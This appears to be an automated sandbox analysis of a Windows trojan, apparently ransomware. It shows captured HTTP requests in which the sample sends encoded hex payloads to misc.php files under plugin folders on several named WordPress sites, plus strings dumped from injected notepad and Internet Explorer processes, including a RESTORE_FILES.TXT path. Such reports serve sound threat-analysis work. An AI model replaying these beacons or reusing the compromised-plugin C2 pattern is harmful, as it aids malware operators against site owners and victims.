GET /wp-content/plugins/post-notification/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C28DFD28A1C511AB93DD430BAAEAE42BF882659A4A0D9BC3749E862938F737F4DE4F7AFF3D8A2AFA20E885CEA76086A44995F44749E0AC70A9CFCE027919CA985818791194AB94D2635BE6A15FDA597286 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Host: myconsulting.es
Connection: Keep-Alive
Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce30191d89bf
HTTP/1.1 200 OK
Date: Wed, 15 Jun 2016 10:43:09 GMT
Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4
X-Powered-By: PHP/5.4.36
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
HTTP/1.1 200 OK..Date: Wed, 15 Jun 2016 10:43:09 GMT..Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4..X-Powered-By: PHP/5.4.36..Content-Length: 0..Keep-Alive: timeout=5, max=100..Connection: Keep-Alive..Content-Type: text/html..
GET /wp-content/plugins/share-buttons-wp/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2D075AF8B8200893DF6CB2CE1BA42320F1CD697021095F3BAC0B6E7501B626D3F6CCEA67FFBD212F6A09E4EE950085A384DB9B89944FE4421C59B70FD8312D01A HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Host: prettybaked.pl
Connection: Keep-Alive
HTTP/1.1 404 Not Found
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Link: <hXXp://prettybaked.pl/wp-json/>; rel="hXXps://api.w.org/"
Transfer-Encoding: chunked
Date: Wed, 15 Jun 2016 10:33:48 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: close
2000..<!DOCTYPE html>.<html lang="pl-PL">.<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1">. <title>Strona nie zosta..a znaleziona | PrettyBaked</title>. <link rel="profile" href="hXXp://gmpg.org/xfn/11">. <link rel="pingback" href="hXXp://prettybaked.pl/xmlrpc.php">. <link rel="alternate" type="application/rss xml" title="PrettyBaked » Kana.. z wpisami" href="hXXp://prettybaked.pl/index.php/feed/" />.<link rel="alternate" type="application/rss xml" title="PrettyBaked » Kana.. z komentarzami" href="hXXp://prettybaked.pl/index.php/comments/feed/" />...<script type="text/javascript">....window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","source":{"concatemoji":"http:\/\/prettybaked.pl\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.5.1"}};....!function(a,b,c){function d(a){var c,d,e,f=b.createElement("canvas"),g=f.getContext&&f.getContext("2d"),h=String.fromCharCode;if(!g||!g.fillText)return!1;switch(g.textBaseline="top",g.font="600 32px Arial",a){case"flag":return g.fillText(h(55356,56806,55356,56826),0,0),f.toDataURL().length>3e3;case"diversity":return g.fillText(h(55356,57221),0,0),c=g.getImageData(16,16,1,1).data,d=c[0] "," c[1] "," c[2] "," c[3],g.fillText(h(55356,57221,55356,57343),0,0),c=g.getImageData(16,16,1,1).data,e=c[0] "," c[1] "," c[2] "," c[3],d!==e;case"simple":return g.fillText(h(55357,56835),0,
<<< skipped >>>
GET /wp-content/plugins/wp-handy-lightbox/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0BAD3B3F82CBF372FFC2041BB80D5A5F0800EB4252C6AA835538C909DACE6B2E023834217091840AC9CB180F22DFB68F310B21D4B3FCEA5792BCBEBA4DAB9420F HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Host: majowy.info
Connection: Keep-Alive
HTTP/1.1 404
Date: Wed, 15 Jun 2016 10:33:34 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache, must-revalidate, max-age=0
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Link: <hXXp://majowy.info/wp-json/>; rel="hXXps://api.w.org/"
Pragma: no-cache
Server: IdeaWebServer/v0.80
3ec3..<!DOCTYPE html>.<!--[if IE 7]>.<html class="ie ie7" lang="pl-PL">.<![endif]-->.<!--[if IE 8]>.<html class="ie ie8" lang="pl-PL">.<![endif]-->.<!--[if !(IE 7) & !(IE 8)]><!-->.<html lang="pl-PL">.<!--<![endif]-->.<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width">..<title>Strona nie zosta..a znaleziona | Rzeki dla rower..w</title>..<link rel="profile" href="hXXp://gmpg.org/xfn/11">..<link rel="pingback" href="http://majowy.info/xmlrpc.php">..<!--[if lt IE 9]>..<script src="hXXp://majowy.info/wp-content/themes/twentyfourteen/js/html5.js"></script>..<![endif]-->..... <link rel="alternate" type="application/rss xml" title="Rzeki dla rower..w » Kana.. z wpisami" href="hXXp://majowy.info/feed/" />.<link rel="alternate" type="application/rss xml" title="Rzeki dla rower..w » Kana.. z komentarzami" href="hXXp://majowy.info/comments/feed/" />...<script type="text/javascript">....window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","source":{"concatemoji":"http:\/\/majowy.info\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.4.3"}};....!function(a,b,c){function d(a){var c,d,e,f=b.createElement("canvas"),g=f.getContext&&f.getContext("2d"),h=String.fromCharCode;return g&&g.fillText?(g.textBaseline="top",g.font="600 32px Arial","flag"===a?(g.fillText(h(55356,56806,55356,56826),0,
<<< skipped >>>
GET /wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce30191d89bf
Connection: Keep-Alive
Host: VVV.myconsulting.es
HTTP/1.1 404 Not Found
Date: Wed, 15 Jun 2016 10:43:02 GMT
Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4
X-Powered-By: PHP/5.4.36
Vary: Cookie
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Link: <hXXp://VVV.myconsulting.es/wp-json/>; rel="hXXps://api.w.org/"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
51dc..<!DOCTYPE html>.<!--[if IE 8]> .<html class="no-js lt-ie9" lang="en"> <![endif]-->.<!--[if gt IE 8]><!--> <html class="no-js" lang="es-ES"> <!--<![endif]-->..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width" />.. ...<link rel="alternate" type="application/rss xml" title="RSS2.0" href="hXXp://VVV.myconsulting.es/feed" />..<link rel="pingback" href="hXXp://VVV.myconsulting.es/xmlrpc.php" />. . .. ...<link rel="shortcut icon" href="hXXp://VVV.myconsulting.es/wp-content/uploads/2013/09/favicon.ico" /> . .....<!--[if lt IE 9]><script src="hXXp://www.myconsulting.es/wp-content/themes/myconsulting/js/html5.js"></script><![endif]-->..<!--[if IE 8]><link rel="stylesheet" href="hXXp://VVV.myconsulting.es/wp-content/themes/myconsulting/css/ie8-grid-foundation-4.css" /><![endif]-->... ..<!-- This site is optimized with the Yoast SEO plugin v3.1.2 - hXXps://yoast.com/wordpress/plugins/seo/ -->.<title>P..gina no encontrada - My Consulting</title>.<meta name="twitter:card" content="summary" />.<meta name="twitter:title" content="P..gina no encontrada - My Consulting" />.<!-- / Yoast SEO plugin. -->..<link rel="alternate" type="application/rss xml" title="My Consulting » Feed" href="hXXp://VVV.myconsulting.es/feed" />.<link rel="alternate" type="application/rss xml" title="My Consulting »
<<< skipped >>>
GET /wp-content/plugins/wp-handy-lightbox/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2B6A4C49C51E7FDA33B4C4B332FA44DFC85F107174D1175843EE546C0254CCD03ED067E9788149E979AF785F272D934E5D27FEF452E871B2C96EF5A506A0EFA5D HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Host: majowy.info
Connection: Keep-Alive
HTTP/1.1 404
Date: Wed, 15 Jun 2016 10:33:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache, must-revalidate, max-age=0
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Link: <hXXp://majowy.info/wp-json/>; rel="hXXps://api.w.org/"
Pragma: no-cache
Server: IdeaWebServer/v0.80
3ec3..<!DOCTYPE html>.<!--[if IE 7]>.<html class="ie ie7" lang="pl-PL">.<![endif]-->.<!--[if IE 8]>.<html class="ie ie8" lang="pl-PL">.<![endif]-->.<!--[if !(IE 7) & !(IE 8)]><!-->.<html lang="pl-PL">.<!--<![endif]-->.<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width">..<title>Strona nie zosta..a znaleziona | Rzeki dla rower..w</title>..<link rel="profile" href="hXXp://gmpg.org/xfn/11">..<link rel="pingback" href="http://majowy.info/xmlrpc.php">..<!--[if lt IE 9]>..<script src="hXXp://majowy.info/wp-content/themes/twentyfourteen/js/html5.js"></script>..<![endif]-->..... <link rel="alternate" type="application/rss xml" title="Rzeki dla rower..w » Kana.. z wpisami" href="hXXp://majowy.info/feed/" />.<link rel="alternate" type="application/rss xml" title="Rzeki dla rower..w » Kana.. z komentarzami" href="hXXp://majowy.info/comments/feed/" />...<script type="text/javascript">....window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","source":{"concatemoji":"http:\/\/majowy.info\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.4.3"}};....!function(a,b,c){function d(a){var c,d,e,f=b.createElement("canvas"),g=f.getContext&&f.getContext("2d"),h=String.fromCharCode;return g&&g.fillText?(g.textBaseline="top",g.font="600 32px Arial","flag"===a?(g.fillText(h(55356,56806,55356,56826),0,
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
NOTEPAD.EXE_1888:
.text
.text
`.data
`.data
.rsrc
.rsrc
comdlg32.dll
comdlg32.dll
SHELL32.dll
SHELL32.dll
WINSPOOL.DRV
WINSPOOL.DRV
COMCTL32.dll
COMCTL32.dll
msvcrt.dll
msvcrt.dll
ADVAPI32.dll
ADVAPI32.dll
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
GDI32.dll
GDI32.dll
USER32.dll
USER32.dll
notepad.chm
notepad.chm
hhctrl.ocx
hhctrl.ocx
CLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\InprocServer32
CLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\InprocServer32
notepad.pdb
notepad.pdb
t%SSh
t%SSh
_acmdln
_acmdln
RegCloseKey
RegCloseKey
RegCreateKeyW
RegCreateKeyW
RegOpenKeyExA
RegOpenKeyExA
SetViewportExtEx
SetViewportExtEx
GetKeyboardLayout
GetKeyboardLayout
name="Microsoft.Windows.Shell.notepad"
name="Microsoft.Windows.Shell.notepad"
version="5.1.0.0"
version="5.1.0.0"
Windows Shell
Windows Shell
name="Microsoft.Windows.Common-Controls"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
publicKeyToken="6595b64144ccf1df"
&*$#$$#$*
&*$#$$#$*
MMMrMMM`MMMRMMMFMMM:MMM.MMM"MMM
MMMrMMM`MMMRMMMFMMM:MMM.MMM"MMM
*.txt
*.txt
/.SETUP
/.SETUP
Text Documents (*.txt)
Text Documents (*.txt)
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.TXT
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.TXT
5.1.2600.5512 (xpsp.080413-2105)
5.1.2600.5512 (xpsp.080413-2105)
NOTEPAD.EXE
NOTEPAD.EXE
Windows
Windows
Operating System
Operating System
5.1.2600.5512
5.1.2600.5512
notepad.hlp
notepad.hlp
You cannot quit Windows because the Save As dialog
You cannot quit Windows because the Save As dialog
dialog box, and then try quitting Windows again.
dialog box, and then try quitting Windows again.
Common Dialog error (0xx)
Common Dialog error (0xx)
Not enough memory available to complete this operation. Quit one or more applications to increase available memory, and then try again.KThe %% file is too large for Notepad.
Not enough memory available to complete this operation. Quit one or more applications to increase available memory, and then try again.KThe %% file is too large for Notepad.
Not a valid file name.MCannot create the %% file.
Not a valid file name.MCannot create the %% file.
Make sure that the path and filename are correct.RCannot carry out the Word Wrap command because there is too much text in the file.
Make sure that the path and filename are correct.RCannot carry out the Word Wrap command because there is too much text in the file.
Page %d
Page %d
Ln %d, Col %d
Ln %d, Col %d
iexplore.exe_316:
%?9-*09,*19}*09
%?9-*09,*19}*09
.text
.text
`.data
`.data
.rsrc
.rsrc
msvcrt.dll
msvcrt.dll
KERNEL32.dll
KERNEL32.dll
NTDLL.DLL
NTDLL.DLL
USER32.dll
USER32.dll
SHLWAPI.dll
SHLWAPI.dll
SHDOCVW.dll
SHDOCVW.dll
Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess
Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess
IE-X-X
IE-X-X
rsabase.dll
rsabase.dll
System\CurrentControlSet\Control\Windows
System\CurrentControlSet\Control\Windows
dw15 -x -s %u
dw15 -x -s %u
watson.microsoft.com
watson.microsoft.com
IEWatsonURL
IEWatsonURL
%s -h %u
%s -h %u
iedw.exe
iedw.exe
Iexplore.XPExceptionFilter
Iexplore.XPExceptionFilter
jscript.DLL
jscript.DLL
mshtml.dll
mshtml.dll
mlang.dll
mlang.dll
urlmon.dll
urlmon.dll
wininet.dll
wininet.dll
shdocvw.DLL
shdocvw.DLL
browseui.DLL
browseui.DLL
comctl32.DLL
comctl32.DLL
IEXPLORE.EXE
IEXPLORE.EXE
iexplore.pdb
iexplore.pdb
ADVAPI32.dll
ADVAPI32.dll
MsgWaitForMultipleObjects
MsgWaitForMultipleObjects
IExplorer.EXE
IExplorer.EXE
IIIIIB(II<.fg>
IIIIIB(II<.fg>
7?_____ZZSSH%
7?_____ZZSSH%
)z.UUUUUUUU
)z.UUUUUUUU
,....Qym
,....Qym
````2```
````2```
{.QLQIIIKGKGKGKGKGKG
{.QLQIIIKGKGKGKGKGKG
;33;33;0
;33;33;0
8888880
8888880
8887080
8887080
browseui.dll
browseui.dll
shdocvw.dll
shdocvw.dll
6.00.2900.5512 (xpsp.080413-2105)
6.00.2900.5512 (xpsp.080413-2105)
Windows
Windows
Operating System
Operating System
6.00.2900.5512
6.00.2900.5512